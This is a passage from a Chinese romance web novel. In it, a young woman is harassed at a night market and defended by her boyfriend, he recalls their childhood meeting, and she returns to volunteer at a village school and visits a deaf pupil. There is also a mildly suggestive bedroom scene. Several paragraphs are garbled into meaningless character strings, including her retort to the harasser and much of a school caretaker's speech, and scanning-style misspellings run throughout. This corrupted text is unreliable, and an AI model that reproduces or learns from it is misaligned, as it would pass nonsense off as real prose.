像是有所感应,裴时晏蓦然抬头,朝她看来。
她没有移开目光,两个人就这样视线碰撞上。
有一股互相较劲的意味,谁也没让谁。
最先败下阵的人是他,也不知是他不想跟她计较,还是觉得太过无趣,先移开了目光。
作为胜者,贺京夏此刻心情很是愉悦,脚尖欢快摇晃着,一时间嘚瑟过头,桌子底下她的脚尖不小心踢到一只脚,也不知道是谁的,这下她又慌了神。
裴时晏掀起眼皮,眼神似笑非笑盯着她。
贺京夏尴尬抿了抿嘴,无声的口吻对他说:“对不起啊。”
他嗤笑一声,顿时引起另外三人的注意。
“怎么了晏哥?”周跃不清楚状况,好奇开口问他。
裴时晏摇了摇头,唇角上扬,漫不经心道:“刚才脚下底有一只猫,帮我挠了个痒痒。”
“猫?”周跃瞬间来了兴趣,低下头扫了一圈桌子底下,找了半天也没见
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到裴时晏口中的猫,“你是不是看错了晏哥,这也没有猫啊?”
“刚才走开了。”裴时晏脸不红心不跳扯着谎。
“好吧。”周跃语气有些惋惜。
他还挺喜欢猫的,还想摸一把来着,可惜了。
陆瑾白跟陆妍交换了个眼神,烧烤店哪里来的猫?也就骗骗周跃这个思想简单的家伙。
裴时晏眼神不悦警告地看向二人,陆妍跟陆瑾白就算再好奇,也不敢再目光放在贺京夏身上。
此刻贺京夏低着头,脸颊温度一直在上升,也不敢伸手去摸,只能把头尽量垂低点,两侧的头发将涨红的遮盖了个大概。
这人真恶劣,把她当成猫。
……
这顿饭吃了将近两个小时。
从烧烤店出来,几人商量着怎么回家。
陆瑾白要去找程厌,最先离开了。
陆妍跟周跃家都住在西街那边,等一下有司机来接周跃,陆妍打算蹭一下周跃的车,这样还能省下一笔车费,两全其美。
就是不能送贺京夏了,不过好在还有裴时晏。
也是今天贺京夏才知道裴时晏家跟她家就隔一条街,这里离她们家都不远,最后陆妍拍案决定让裴时晏送贺京夏回去。
贺京夏跟陆妍约好了明天的时间,两个人依依不舍分别。
裴时晏:“走回去还是坐车。”
距离也没多远,这会又刚刚吃完饭,贺京夏便回他:“步行吧,就当消食了。”
“好。”他随意回她。
两人一前一后走着,之前只知道他高,具体也不知道多高,直到现在两个人近距离站在一起,贺京夏发现他比自己足足高了一个头。
他的个头很优越,身材比例又好,也难怪他的追求者不少。
刚开始他们还是慢走,后面变成贺京夏小跑起来。
腿长的人走的就是快,他走一步顶贺京夏走两步。
多多少少带了点怨气,贺京夏瞅见地上两个的路灯下的影子,没好气直接朝着裴时晏的影子狠狠踩了好几脚泄气。
就在这时前面的人停下脚步,转过身看向她,正好把她的动作尽收眼底。
他皱着眉头,贺京夏还以为他是要跟自己生气。
“你肚子不疼了吗?”
没想到他最后来这么一句,让她出乎意料。
毫无防备贺京夏怔了一下,磕磕巴巴回他:“不……不疼了。”
裴时晏:“我会吃人吗?”
贺京夏:“什么?”
裴时晏:“你离我那么远干嘛?”
贺京夏心里挺不服气的,嘴上也就只敢小声嘟囔:“是你自己走的太快了,我跟不上你。”
片刻,他喊:“小金土豆。”
贺京夏没听清楚,走近了两步,“什么?”
“小金土豆。”裴时晏很配合,一字一顿再次回应她,“这次听清楚了没有。”
贺京夏听到他说的话,不敢置信指了指自己,询问他:“所以这个是你给我起的绰号吗?”
“是的。”他不慌不忙,倒也挺坦诚。
“为什么?”贺京夏不理解,她是哪里跟土豆搭边了?
是她长相像土豆吗?又土又逗?
“你自己想。”裴时晏跟她打起哑谜。
见他不可能说,贺京夏轻哼一声,丢下两个字,“幼稚。”
然后别过头,没有再理他。
“你不幼稚。”裴时晏说,“那你刚才踩我的影子干嘛?”
所以还是被他看到了。
贺京夏缩了缩脖子,没再吭声。
等了半天,她也没有上前,还以为她是生气了,裴时晏叹了口气,迈着步伐朝着她走过去,“生气了?”
“啊?”贺京夏回神,“没有,我还以为你生气了。”
突然吹起了一小阵风,他额前的碎发被吹起,嘴角微不可察地勾了勾,让贺京夏一时间失了神。
他没头没尾来了句“起秋风了。”
贺京夏被他搞得挺莫名其妙,“怎么了?”
“没事,走吧,这次我慢点走。”
说完他果然放慢了步调。
贺京夏跟在他身侧,余光偷瞄他,这人奇奇怪怪的。
裴时晏嘴角噙着笑。
真好,秋天来了,一路上连风都是温柔的。
更好的还是因为你也来了贺京夏。
80、共伊,
西陵夜市此时就是灵宜这座城的温度。
熙熙攘攘的人潮在涌动, 耳边充斥着热闹无比的谈笑声与吆喝声。
贺京夏托着腮帮子,百无聊赖看着流动的人群。
她倒是能理解那句:四方食事,不过一碗人间烟火。
诗和远方是灵魂的向往,人间烟火是o口的归宿。
而眼下她期待的是裴时晏的出现。”小姐姐你好,不知道我能否有荣幸,可以拥有一个你的联系方式?”头顶传来一道清润的男声。
贺京夏敛住笑意,抬眸朝着那人摇了下头,“不好意思,我有男朋友了。”
那人并不在乎贺京夏怎么想,自顾自道:“像你这么漂亮优秀的女孩子,我想你应该不会介意多一个选择的,你放心哈小姐姐,我家庭情况是不错的,跟我在一起不会亏待你,房车都可以写你的名字的。"
那人明显顿了下,不过他并没有立刻离开,而是在原地踌躇了会儿,“那我可以跟你交个朋友吗?"
这下换贺京夏怔住了,难道她拒绝的还不够明显吗?
瞧瞧这人这说的是什么话。
看着人模狗样的,说出来的话真的是让人反胃。
贺京夏脸色不自觉冷了几分,如果不是她的教养在告诉她打断人是不礼貌的行为,她早就想人这人闭嘴了。
“说完了?”她看着那人,那双眼睛里没了往日的温和。
“是的, 你看要不要再想一下呢?"
贺京夏换了个动作,双手环抱在胸前,不羁的眼神掺着直白上下扫视了那人一圈,然后“噗嗤”一声,笑出了声,“真是不好意思,一时没忍住,我想你应该不会介意的吧。
那人正要开口,贺京夏没给他机会,抢先了一步。
省未很典制饰线形营,其次委调说,什么明保女(形省维技了可以种地感营而电你真不用自口当产品夫,像的汉种以表面去青或很能的,内里更是生不变件子的,或完全不地在我的面园课了,我真和省哪越是里来的、,是物口中的青心县家起的5 现你一个议、与其里议
子,不如回去好好进化进化你的浆糊脑子,这是一个很衷心的建议,我想你应该不会介意吧?"
贺京夏发觉说的不过瘾,又补了一句。
"哦对了,忘了说,就你这种档次的,还不配跟我男朋友放在一块,真的很掉价。"
去他爹的教养,现在她只有一个念头,就是怼死眼前这个长得还没她脚后跟好的拟人形态自恋狂。
她其实很不喜欢去攻击他人的长相,毕章这玩意不是自己能决定的,都是父母给的,但是这人直的大话不知耻了,就因为女生好看就说出那种话,无辉就是给遭高女生泼时水造黄溪
所以一时之间她是真没克制住自己。
那人听到她这一大段话,脸色自然是立即就沉了下来,恶狠狠地瞪着贺京夏,一副要吃了她的模样。
后知后觉她还是有些怕,男生女生之间的力量是悬殊的,这男的要是狗急跳墙要上来打人,那她就只有挨打的份儿,
不过想到自己现在是在夜市,到处都是人,她就没那么怕了,大庭广众之下谅他也不敢,要是他真歌动手那她就大喊大叫,这么大的夜市加上那么多外地来玩的游客,附近肯定会有安保人员。
而且裴时晏应该差不多也快回来了,大不了她想办法拖到他回来。
这么一想,贺京夏安心多了。
那男的看她这样,更来气了,作势就要上前。
吓得她赶紧往后退,那人怎么会放过她,身子往前扑伸手就要抓她,就在这时她感觉腰上多了一道有力的手臂将她抱住,还没来得及看清来人的脸,就见他转身一脚踹在追她的那人身上,动作太快了。
很快身后传来一声哀嚎声,贺京夏朝着声音的方向看去,只见那个恶臭男正躺在地上,一脸痛苦地捂着肚子,似乎他不死心,挣扎着就要从爬起来,谁知下一秒,他胸口被一只脚狠狠踩住。
“再敢动,我不介意这一脚直接把你踩死。
贺京夏一听就知道刚才护着她的人是谁。裴时晏看着地上疼得扭曲的人,眸中一片寒意,没有丝毫的温度“我碰都不舍得碰的人,也是你这个杂碎能动的?"
别人不清楚,但是贺京夏很清楚,裴时晏这个声调是气极了,怕他做出什么极端的事,她顾不得多想赶紧上前。
“阿晏。”
听到她的声音,裴时晏身形顿了一下,才转身看向她。
“没事了。’
他已敛起寒意,一脸关切看着她,声音恢复了柔和。
与刚才判若两人。群众中有人在低语:“好家伙,这哥们是学京剧的吧,变脸是真快啊。“你懂什么啊,这一看就是人家女朋友,对人渣跟对自己女朋友肯定态度不一样啊,难怪你母胎单身,活该!"H此刻,贺京夏注意力都在裴时晏身上,又怎么会看不出他是在装柔和,眉宇间藏匿的阴鸷被她尽收眼底她抬起手朝他示意,“阿晏,过来。"裴时晏没动,警了眼脚下的人。
“过来。”她又重复了一遍,只是这次语气生硬,暗含薄怒。听出她不开心了,裴时晏脚尖狠狠碾压了下那人,才不情不愿抬脚朝着贺京夏走过去,正要牵她的手,就见她收回。她冷冷看着他,刻意压低声音,只能两人听到。"你不是主意人的很,既然不听我的话,那这手就别牵了。"可裴时晏哪是那种会安分的人,即刻握住她的手腕,强行跟她十指紧握。指腹轻轻摩挲她的手背,他垂下头低声道:“别气了,好不好,我真的知道错了。"四周都是人,目光不断在向她们投来。贺京夏不喜欢这种被人盯着的感觉,那眼神跟看动物园的猩猩似的,让她浑身不白然。“你先松开,有人看着呢。”
“那你说,你不生气,原谅我了,不然我不会松开的。
“你这是在威胁我吗?”贺京夏拧着眉,不悦地看着他。
“不是,我只是想第一时间把你哄好。”
贺京夏没料到他会这么说,原本想说的话就这么被他堵回肚子里。
谈不上多生气,更多是担心他,害怕他会在冲动之下做出一些不好的事。
人渣是不值得让他白己给搭上。
过了一会儿,她才放柔声线慢慢道:“好了,我原谅你了。
眼看裴时晏的唇就要落下,她眼疾手快挡在他的唇上,“你想干嘛?这么多人看着呢!
“那我们回去再亲?"
这人还真的是.….
都这个关头了还想着接吻。
贺京夏白了他一眼,淡淡道:“我考虑考虑。
裴时晏刚想说什么,忽然人群中挤出两个身穿黑色安保制服,手上拿着电棒的男人。
“是谁,敢在这里闹事。”高个子男人环视了一圈,大声质问人群。
大家怕被牵扯上,很自觉往后退了一步。
贺京夏看到安保人员过来,赶紧挣脱开裴时晏的手,快步走到他们身边,手指着地上的人,“大哥,就是这个人,他要流氓。’裴时晏瞥了眼空荡的手,无奈扯了下唇角,随即迈开步子,跟上贺京夏。他是不会让贺京夏自己一个人去面对的。矮个子听到贺京夏说的话,立马就怒了,连忙把躺在地上的人抓起来,,满脸的怒意,“你这个该死的小子,也不看看这是什么地方,竟敢在这里撒野,是拿我们当摆设吗?那人摆摆于我没有,是这个臭娘们胡说八道,你不要相信她、F还在试图开脱。可贺京夏怎么会给他这个机会,今天她就是要给这个人一点教训让他知道有些话不是张嘴就可以来的。“你还说没有,刚才你找我要联系方式,我拒绝了就想上来打我,要不是我男朋友回来的及时,我就被你打了,这不是要流氓是什么?"贺京夏说,“这些哥哥姐姐手里可是有视频为证,你别想狡辩。"人群中立马有人站出来帮腔:“就是就是,我们手里有视频,刚风!我就坐在小姑娘旁边,人家男朋友前脚刚走,他就来了,还对人家说一些不入流的话,被拒绝了就恼差成怒要打人家,赶紧把这种祸害抓起来。
其他的人也跟着附和:“还有我还有我,我也能证明小姑娘一点没撒谎,赶紧把这种害群之马关起来,要不然谁还敢来这里旅游啊。
n其实在很多的时候,身边还是会有很多勇敢又特别善良的人会选择站出来帮助别人。
这个世界并不是那么不堪。也并不是只剩下黑。在群众的呼声之下,这事算是彻底闹大了,两个安保不知道怎么弄,请示了一下上面的人,经过一番商讨不但要把那个男的压走,连贺京夏和裴时晏都一块通通带走。不过带走他们的目的是为了协助给这个人定罪。还好最后的结果是令人满意的,那个登徒子被关了五天本来贺京夏是不指望能给他定罪,就想给这个人一点教训,这一切她都将归功为老天开眼。
从警局出来,贺京夏的身体基本上是属于精疲力尽的状态,头靠在裴时晏的肩膀上,想到什么她轻轻叹了口气。
“好可惜啊,没吃到你买的麻辣烫。"
"都怪那个坏东西,早知道我就应该骂的再狠一点,真的太可气了。
只是这次她并没有得到裴时晏的回应,偏过头去看,发现他正沉着脸,不知道在想什么。
贺京夏抬于戳了戳他的肩,“想什么呢?"
裴时晏握住她的手,表情难得一见的严肃,“夏夏,等你回来我带你去学格斗,好不好?”
"格斗?”贺京夏很是诧异,“怎么忽然想让我学格斗了?"
“我总会有不在的时候,往后如果再有像今天这样的事情发生,格斗能够保护你,不至于出什么大事,你的安全对我来说很重要,没办法去假设去赌运气。
人总会有运气不好的时候。
那到时候该怎么办呢?
只有白身足够强大,才是解决问题的唯一出路。
裴时晏在后知后觉中害怕了,今晚但凡他晚到一秒,可能都会造成他后悔的局面,他不敢去想,那他真的会疯掉的。
再回想起他当时看到的心情,是后悔又是庆幸的。
后悔丢下她一个人,庆幸他回来的及时。
若不是她拦着自己,他真的就想弄死那个人。
察觉出他眼眸中的自责,贺京夏扑进他的怀里,用他经常安慰自己的方式去安慰他。
“阿爱,今晚的事不是你的错也不是我的错,是那个人的错,你不用去怪自己,你做的已经很棒了,按道理来说我应该感谢你的。”她试图将气氛扭转的愉悦一点,“这可是你带二次英雄救美了哦。
或许是上帝在眷顾,又或许是命运的安排。
裴时晏总能在她需要的时候从天而降出现在她的面前。
小的时候她看不懂大话西游里的紫霞仙子。现在懂了,喜欢的人有时只要做到自己所想的事情,那一刻他就是盖世英雄理想主义的花最终会盛开在浪漫主义的土壤里,她的热情永远不会熄灭在现实的平凡之中。"所以你不用害怕,也不要责怪自己,你看我这不是好好站在你面前。”贺京夏说,“我答应你,等回去,我就跟着你一块学格斗。"就算平时用不上格斗,但是在学习的过程中能让她强身健体,总体上来说多学是没有坏处的。裴时晏俯身紧紧抱住她,下颌抵在她的颈窝,低沉的嗓音掺着哑,“夏夏,从小到大没有什么东西能让我害怕,直到我遇到见你,我有了唯-一件既恐慌又害怕的事。
想来这大概就是人们口中所谓的关心则乱。
“阿晏,你要对我有信心,也要对你有信心,这次我们一定会好好的。
"一定会如那年我所想的那般,我们未来会一路便满鲜花。”
“那年?”裴时晏问。
m航7一下可代一百着售白子、7信。造分的的、批在昌设品自,下,不出可技品,物会售40,区一民、北合为、地话一,有一号天菜 实型苏自后 储式山小
虽然很遗憾中间空缺了几年,但是只要结果是圆满的,就足够了。
做人是不能太贪心的。
“你比我想象中心动的要早。”
此时贺京夏的心情很好,满脸笑意问道:“那你以为我是什么时候喜欢你的。”
"教你数学那会儿。”裴时晏眉眼舒展。
两人不约而同笑了。
“那你呢?是什么时候心动的?”贺京夏追问他。
似乎他的答案跟她认为的也不一样,之前问他都被含糊过去了,今天也算是一个契机。
短暂的沉默,裴时晏拉着她的手就要往前走。
没得到想要的答案,贺京夏自然是不会走的。
“什么意思?”贺京夏嘟着嘴抗议,“难道我就没资格知道你是从什么时候喜欢上我的?"
“我没这个意思,现在太晚了,咱们边走边说。”
听他这么说,贺京夏才愿意走。
他倒是没想过要隐瞒贺京夏。
裴行止走那年白澄无暇顾及他,便让姥爷把他接回乡下,那时候他以为自己是被抛弃了,成天沉默寡言把自己锁在房间里,姥爷心疼他年纪小背负的事多,总是想方设法让他开心不过效果都不大,后来没办法姥爷换了个法子,强行带着他上外边,想让他学会社交,那时他年纪小思想也没那么成熟,趁姥爷不留神的功夫,自己偷跑回家。正是那次,在回去的路上,裴时晏遇到了一只大马犬。马犬看着他在流口水,尾巴摇的欢快,许是看到他不走了,马犬主动往他这边走,那时他才七岁,在不知道这个狗是好是坏的情况下,他只能拔腿就跑.狗见到他跑,自然是以为他在跟自己玩,便追着他跑。
其实认识她的时间远比她以为的还要早。
很快小巷就传来他撕心裂肺的叫喊声。
他被马大逼到一个无处可跑的角落,眼看着就要扑上来,他被吓得闭上了眼睛。
“嘟嘟,过来,你吓到他了。”
道稚气又充满活力的声音在前方响起,打断了马大的动作
这一刻她的出现对裴时晏来说如同天神降临。他睁开眼就看到前面不远处站着一个小女孩,头上扎着一个小马尾,正歪着脑袋中他笑。马犬见到她很开心,根本就顾不上裴时晏,欢快朝着她跑去
“嘟嘟,下次不可以这样随便吓唬别人了哦。"说完小狗,往他这边走来,她弯了弯眼睛,朝他伸出手,“地上凉,先起来吧。裴时晏从小就不喜欢跟人亲密接触,但是不知道为何在看到她伸出手的那刻,不知不觉竟握了上去。真暖和。
跟他截然不同。
贺京夏轻声安慰他,“不用害怕,嘟嘟它不会咬人,它只是看到你太开心了,想跟你玩,它不是故意的,你别怪它。
裴时晏垂着脑袋,不说话。
贺京夏以为他是被吓得,着急忙慌从兜里掏出一颗糖,塞到他的手里,
“妈妈说了,难过的时候吃点甜的就好了,那受到惊吓的话吃甜的肯定也会好,你吃。
裴时晏刚想拒绝她,就听见她又说,“惨了,妈妈是让我出来买东西的,我先走了,下次再见吧。
说完,她的身影就消失在巷口了。
裴时晏忘记自己后来是怎么回家的,反正挨打了。
他一直惦记着那句下次再见。
后面不用姥爷想办法,他很自觉跟着出门,只是好长时间他都没碰到过她,直到白澄来接他回家,那天他很不开心,他想大概这辈了都没办法再见到她了。
心里酸酸的。
小车慢慢开出巷子,他无精打采靠着窗口,酸涩感填满他的心口,他想真的不能再见她一次吗,他还没问她叫什么名字呢。
可能是老天看不下去了吧,在他抬眸无意间扫向窗外时,看到站在小卖铺门口的她,手里拿着个雪糕,嘟嘟就蹲着她的脚步
他听到她身边的小伙伴说她,“贺京夏管好你的狗。"
原来他叫贺京夏。
虽然不知道是哪个字,但是他一直都记得这个名字,直到他再次见到她,
这次他终于知道了,是贺礼的贺,京都的京,夏天的夏。
是夏天送给他的一份贺礼,里面装满惊喜。
"原来我们那么久见过,难怪你当时那么看我。”贺京夏后知后觉,
“为什么你也不提醒提醒我呢。”贺京夏躺在床上,看着头顶的灯,小声喃嘀道,“"一定很失落吧,我居然没记起你。
裴时晏挂衣服的动作一顿,而后摇了摇头,“不失落,因为在你不知道的时光里,是那个小小的女孩陪我度过一个又一个难捱的阶段。
“而现在的你,已经给了我想要的爱,我不难过也不失落,因为我们是在最好的时间里遇到彼此。
81、共伊.
以往都是裴时晏作为润滑剂挑起她的情愫,而今晚难得一改常态,由她发起进攻。
只是无论她多么努力,裴时晏都不为所动,等她自己累了,他就去洗冷水澡。
之前她只要有一点风吹草动,他都不会放过她。
今晚完全像是变了个人。
第三次贺京夏终于爆发了。
她把裴时要压在身下,一口咬在他下巴上,“你是不是变心了?"
裴时晏眼皮颤了下,垂放在身侧的手紧紧攥成拳,望向她的眼神里带着一片殷红,
“夏夏,你先起来好不好?"
“不好,一点也不好!”贺京夏抬眸看了他一眼,又在脖颈另一边留下一排牙印。
他的唇含住她的耳垂,牙齿轻咬了下,沙哑的声音掺着哀求:“宝宝,先下去,算我求你了。
此时贺京夏终于察觉出他的不对劲,漆黑的眸子里蕴含着情欲,他的呼吸很重,似在用尽全力在克制自己
她犹豫了一下还是道:“你这样会不会憋坏?"
说完她就后悔了,但是裴时晏可不给她这个机会,提着她的衣领将她带进卫生间。
不多时,一道重重的闷哼声从里面传来,
“姐姐,我劝过你的,现在这一切这都是你自找的。
“闭嘴啊!"
贺京夏瞪了他一眼。
“啊.….” 裴时晏惊呼一声。
"夏夏你这是要谋杀亲夫?"
贺京夏冷哼一声,不以为然反而还加重了手心的力道,“还没结婚呢,你算我哪门子亲夫。
“好了没有?我要累死了。”
“我平时多长时间,你应该是最清楚不过的人了。”裴时晏说,“难道不是吗?宝宝
宝宝二字他故意拖长尾调。
“裴时晏!”贺京夏咬牙切齿喊出他的名字。
她没说话,卫生间再次响起粗沉的喘息声,偏偏她只能面红耳赤听着,直到掌心传来滚烫的触感,裴时晏才放过她。
结束后两人一块洗了个澡,许是真的累到了,贺京夏沾床就睡着了。
第二天闹钟一响贺京夏就起床,她要去找另外两个伙伴集合,临走时依依不舍抱着裴时晏
在他面前她也不讲什么出息不出息,抱着人就哭了。
裴时晏温温柔地给她擦拭眼尾的泪水,耐着性子哄她:“好了,不哭不哭。
谁知她下一秒,哭的更大声了。
“祖宗,你再哭下去我真不让你走了。
这句将贺京夏的命脉拿住,顿时她收了声。
她是一个人走的,没人裴时晏送,她害怕看到他就真走不了了。
她不擅长告别,又或者直白点她讨厌告别。另外两个伙伴是一对情侣,男生叫叶览女生叫梁茹佳,是贺京夏直系学弟学妹,两人还在实习期,为人热情又随和,三个人还算处得来中午贺京夏终于吃到了她心心念念的麻辣烫,吃饱喝足她们三个人去车站等车,每天下乡的公交车只有两趟,早上八点一趟下午三点一趟开窗,扑面而来是尘士混着汽车尾气的味道,甚是上头,胃里又开始翻江倒海,吓得贺京夏赶紧把口罩戴上,她懒散靠在椅背上闭目养神。
错过就只能等明天。
好在车程已过半,车里的人越来越少,等到地方时就只剩下他们三个。
学校是在村里,大巴车只把他们放在路口,只能自己走下去,离得不远人概得走十来分钟左右。
最费力是在她们的行李上,因为村庄的路并没有铺水泥,依旧是熟悉的泥巴路,幸亏这几天没下雨,土是松的就是拉行李箱的时候费劲些
叶览跟梁茹佳是第一次来,不认识路,所以贺京夏走在前面给他们带路。"夏夏姐,要不然你把行李箱给叶子吧。”小梁在身后说。贺京夏脚步顿住,想了想还是摇头,“没事,很快就到了。”虽然这对小情侣就带了一个行李箱,但是叶览一前一后还挂着两个包,走路吭哧吭味的,她的行李箱四十多斤重,真让叶览拿的话,人怕是今天会直接交代在这里。她叹了口气,累就累点吧。这下让她更加坚定,回去就让裴时晏带自己去学格斗,确实需要加强身体素质,这没走几步就喘的跟哈巴狗似的“那我来帮你在后面推着。”梁茹佳就背了个包,手上空荡荡,见贺京夏在前面走得那么吃力,属实是于心不忍,就想去搭把手。贺京夏在面对不太熟的人时,总是会下意识划清界限,“不用不用,小叶看起来好像更需要你的帮助。"梁茹佳斜睨了眼身旁的男友,一脸无所谓摆手道:“害,他自己一个人可以的,根本不用我帮忙。"“小叶子你自己说是不是?"叶览擦了把额前的汗,抽空回她,“是的是的。"“我就知道你最棒了小叶子。"说完,梁茹佳转身看向贺京夏,笑着眨了下眼,“你看,他自己都说了不需要我帮,所以让我来帮你吧。
见此贺京夏白知拗不过,便没再说什么。
有了梁茹佳的帮助,确实好走了不少。走了约莫有二十分钟,终于看到不远处那几排小平房,门口立的那块牌匾,还是上回走之前他们几个刻的,只不过被上了色打了蜡,能清楚的看见那几个大字“棠乡学堂”这会儿学生都在上课,贺京夏带着她们往门卫处走,往好听点了说是门卫处,实际上就是由铁皮搭建面积两平米的一个小屋,负责看门的大爷是校长的父亲学生们都亲切的喊他刘爷爷。贺京夏刚走到门口就见刘启从窗口探出头,见到是她先是惊讶,然后欢喜从屋里出来。“小夏老师,你回来了。”“刘叔,好久不见,这段时间大家都好吗?”刘信美的开0,点头、写,大家,每用是的走之后,又来了一批去属者,小夏这形多了的,社会上很多好以人的了我常的,能资于是来了,中午孩子用也不用受者走那么品的山目家,例们味苏,过几天期部孩子塔一个图节角,球家山河的了,不营日子多去,该提是不了毕竟这是这些孩子唯一能走出我们这座大山的机会。""山河哥说的对,确实该有个图书角,我们来的太是时候了。"贺京夏说完,往旁边让了个位置,“对了刘叔,这次我还带了两个帮于来,他俩是我的学弟学妹,叶览跟梁茹佳。”小叶小梁欢迎你们,跟着小夏喊我刘叔就行。“刘叔好。”叶览跟梁茹佳异口同声问好。“行了,咱就别站门口聊了,都快进来吧,昨天知道你们要来,早早就把房间你们收拾好了。刘启热情迎她们进门,主动帮忙拿行李。忽然想起学姐之前说的,贺京夏便问:“刘叔,今天除了我们还有别人来吗?"
刘启摇头:“没啊,就你们来了。"
不应该啊,她记得宋冉说过,除了她们还有另外三个,难道是路上遇到了什么事,给绊住了?
心里虽狐疑,但贺京夏还是没再说什么。
她打算回头再问问宋冉。刘启带着三人往里走,给她们介绍最近添加的一些设施,学生用来当自习室的,往这边走,这个篮球框是昨天刚弄好的,地上的漆中午才弄的,还没干,还有一些东西在教室那边,孩了们在上课,就不带你们过去打扰她们了。又往前走了几步,刘启终于停下,他推开门,“到了,小夏还认识这里吗?"熟悉又陌生的感觉扑面而来,熟悉的物件以及摆位,陌生不再是掉渣的墙面,挂满蜘蛛网的房顶,满是灰尘的泥士地面房间很整洁,墙面被腻子刷白,屋顶铺了隔层膜,地面改成了水泥地,虽然铺的没那么平。
"看哈,这就是我!新护食量,看着不大但是能容的下部一百来名孩子,中午饭都是山河的跟他老很做,给孩子们吃我们不放心外人弄,事关孩子健束马虎不得,这块空的地就是到(0打算拿来曲图书角的,材料什么都弄好了,这同空的数室方便中午给一下揭学习的
贺京夏不太敢认,迟疑了一会儿,问道:“是我之前住的那间?""是,“刘自说,“放心这些都是用南下0材料发弄的,大部分都是的用取进自个的,她说不道物们这还会不会回束,万一素天回来了,总不能还是跟之前 样波究告,日子里说怎么都是过,但是有一个好 点的环境总[是不 样的,的以家忙活也这里些弄的干净整吉了。其实这里每个人都很清楚,从这里离开的人,几乎不会再想回来了。在这里的日子枯燥无趣还苦。来这里支教或者是帮忙的志愿者一大半都是十指不沾阳春水的孩子,能在这里坚持到走已经是很大的极限,不会有人喜欢这个贫困潦倒的地方。更不用提,这里还有一部分是特殊小孩。
可是人啊,在潜意识里总是喜欢把事情往好的方向去想。
万一呢,万一有人是喜欢这里的呢。
精神力的振动是最细致的,因此,也是现存事物中最有力量的,
事实证明确实是如此。
而此时此刻贺京夏无比庆幸,自己的选择
屋子不大,一张一米五的上下铺就占了一大半的位置之前就是两个人住一间,所以这次也不例外,贺京夏跟梁茹佳住这里,在两人商议谁住上面谁住下面时,刘启拉着叶览往隔壁去了。为了公平起见,她们采取了指头剪刀布的方式,三局两胜最后是贺京夏输了,老老实实爬上去收拾床铺。读大学的时候她就是睡上铺,这下倒是有一种回到过去的感觉。她带的东西不多,除了个床单被罩跟两身衣服,还有日常用品就没别的了,被子是现成了,上面还能闻剧淡淡的香味,那味道让人异常感型安心,套好床单被罩她就下去帮梁茹佳小姑娘第一次来山区,没什么经验,带的东西挺多,屋内剩余能走动的位置不多,为了以后的方便,贺京夏把她的东西都归顺好放在桌子上,暂时用不着的东西就先放在行李箱里。"夏夏姐你人真好,谢谢你啊。"
经过这半天的相处,梁茹佳是彻底喜欢上贺京夏,头正亲昵地靠在她的肩上,朝着她撒娇。贺京夏挺喜欢这个小学妹的,人可爱性格又好,是个能带动气氛的,跟陆妍是一类人,所以她对梁茹佳的喜欢是发自内心的。而这时外边一阵铃声响起。“孩子们下课了。”贺京夏把行李箱塞到床底下,对着梁茹佳道,“走咱们出去看看。“好啊,那机器要拿上吗?"梁茹佳没忘记来这里的目的。贺京夏按住她要去拿机器的手,摇了下头。“先不拿了,等过两天再拍,咱们才刚到,上来就直接拿机器对着人家,孩子们心里是会不舒服会反感的。
“还是夏夏你想的周到,是我太急了。”没事,走吧,出去看看。”她们没走几步,迎面就跟要来找她们的孩子们撞上。这里一共就三个班。年纪小一点的在一个班,年纪大一点的在一个班,剩下比较特殊的小孩一个班,之前贺京夏带过特殊班跟小班的小孩,所以这群孩子知道小夏老师回来了,都纷纷在下课第一时间来找她贺京夏被小孩子们围住,大概是太久没见了,小孩们一时间话很多,大家你一言我一语,在面对这般孩子时,贺京夏总是格外有耐心,等孩子们都说完,她才逐个问题去回答一遍,她没忘记刘玥,环顾了一圈都没有找到那道瘦小的身影,正想着找个跟刘玥同班的小孩问问,忽然余光捕捉住到站在柱子后面的人儿。不是刘玥还能是谁。个头看着跟之前差别不大,察觉到贺京夏的视线,小家伙的身子还往里收了收。“我过去一下,你先陪这些小孩们玩一会儿。”贺京夏手指向柱子低声对着梁茹佳道.“好,你去吧。”梁茹佳打小就是个孩子王,这才一会儿就跟不少小朋友玩熟了。小孩们都很乖,知道贺京夏还有事,就跟着梁茹佳去操场玩。正考:见状贺京夏叹了口气,伸手在她的头顶轻轻拍了下。刘玥耳朵听不到,只能靠一些动作来提醒她。
果然,刘玥抬头胆怯地看着她。
贺京夏朝她比划了个手语,问她:“为什么躲我?
这手语一开始还是跟着刘玥奶奶学的,后面回去她也不知道为什么自己去恶补了一段时间手语,现在能够大差不差跟人交流,
她忘了当时为什么想学,大概心里一直期待着有一天能够再见到这个给过她温暖的小女孩吧。
过了会儿,刘玥才抬手给贺京夏比了个手势。
她看懂了,小家伙在说:我怕你忘记我了。
贺京夏抬着的手顿住,半晌,她才笑着比划起来。
“我忘不了,一直都记得你。
刘玥肉眼可见的开心了。
想起给刘玥准备的礼物,她把人领回了宿舍,买的时候考虑到这边冬天会很冷,特地买了件粉色的鹅绒羽绒服。
小姑娘看到她递来的衣服,明显呆住了,想伸手去摸又不敢,还是贺京夏塞进她怀里才敢碰。推操了半天,要不是贺京夏假装自己生气了,小家伙都不肯收。买的时候贺京夏还担心会小,还好穿上比她预想中大了一点点。晚上没什么安排,想到太久没见刘玥奶奶,放学她借着送刘玥的名义,去了趟她家里除去看望老人这个心思,主要的目的还是想跟奶奶商量一下刘玥耳蜗的事,不管出于好心还是旁的,都要经过监护人的同意才行。刘玥耳朵听不到,一路上两人偶尔打个手语,到刘玥家天色已,然暗淡,到家门口就见老人弓着身子,坐在石墩上择菜。人上了年纪,身体没那么灵敏了,眼睛手脚都不如以前,那怕是这样日常简单的事,干起来都很费劲。
刚见到贺京夏,老人很是惊讶。"想不到小夏老师你又回来了,今天真是麻烦你了,还特地送我家玥玥回来。"您太客气了,玥玥这孩了我很喜欢,真要说麻烦,今晚倒是我要麻烦您了。"不麻烦不麻烦,这天黑了山路不好走,你回去我老婆子还不放心,今晚你就安心住下,晚些我给你铺床去、就是今晚可能没办法给你弄别的饭了,只能将就唱红薯粥吃点红薯叶子了贺京夏笑着说道:“没事,有这些就够了。”
有了贺京夏跟刘玥的帮助,菜很快就择好了。
